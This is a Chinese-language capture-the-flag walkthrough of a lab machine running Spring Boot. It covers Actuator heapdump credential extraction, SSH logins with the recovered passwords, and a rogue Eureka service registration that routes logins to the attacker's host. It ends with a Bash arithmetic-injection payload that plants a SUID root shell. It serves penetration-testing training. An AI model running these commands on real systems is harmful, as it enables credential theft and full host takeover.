侦察
Nmap扫描发现三个开放端口:
- SSH (22)
- HTTP (80) - 重定向到furni.htb
- HTTP (8761) - 需要基本认证
网站分析 - TCP 80
技术栈识别
网站使用Spring Boot框架,暴露了Actuator端点:
1
|
feroxbuster -u http://furni.htb -w spring-boot.txt
|
发现关键端点 /actuator/heapdump
,可下载堆转储文件。
获取oscar190用户Shell
堆转储分析
下载堆转储文件:
1
|
wget http://furni.htb/actuator/heapdump
|
使用多种工具分析:
- VisualVM: 图形化分析堆转储
- JDumpSpider: 自动提取敏感信息
- 字符串搜索: 查找凭据
发现数据库凭据:
1
|
jdbc:mysql://localhost:3306/Furni_WebApp_DB?{password=0sc@r190_S0l!dP@sswd, user=oscar190}
|
Eureka服务凭据:
1
|
eureka.client.service-url.defaultZone=http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
|
SSH访问
使用发现的凭据成功登录:
1
|
sshpass -p '0sc@r190_S0l!dP@sswd' ssh oscar190@furni.htb
|
获取miranda-wise用户Shell
系统枚举
发现其他用户:
1
|
cat /etc/passwd | grep 'sh$'
|
发现多个Spring Boot服务运行:
- cloud-gateway (8080)
- user-management-service (8081)
- Furni网站 (8082)
- Eureka server (8761)
Spring Cloud Gateway劫持
通过Eureka API注册恶意服务:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "0xdf",
"hostName": "10.10.14.6",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.14.6",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": {
"$": 8081,
"@enabled": "true"
},
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
|
捕获miranda-wise用户的登录请求,获取密码:IL!veT0Be&BeT0L0ve
SSH访问miranda-wise
1
|
sshpass -p 'IL!veT0Be&BeT0L0ve' ssh miranda-wise@furni.htb
|
获取root权限
漏洞分析
发现定时任务执行的脚本 /opt/log_analyse.sh
,存在Bash算术注入漏洞:
1
2
3
4
5
6
7
8
|
analyze_http_statuses() {
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
if [[ "$existing_code" -eq "$code" ]]; then
# 漏洞点:$code在算术比较中被执行
|
漏洞利用
利用Bash算术注入执行命令:
1
|
echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log
|
获取root Shell
总结
本次渗透测试展示了Spring Boot应用安全配置不当导致的严重风险,包括:
- Actuator端点暴露导致敏感信息泄露
- 微服务架构中的服务注册劫持
- Bash脚本中的算术注入漏洞
强调了在生产环境中正确配置Spring Boot Actuator和实施输入验证的重要性。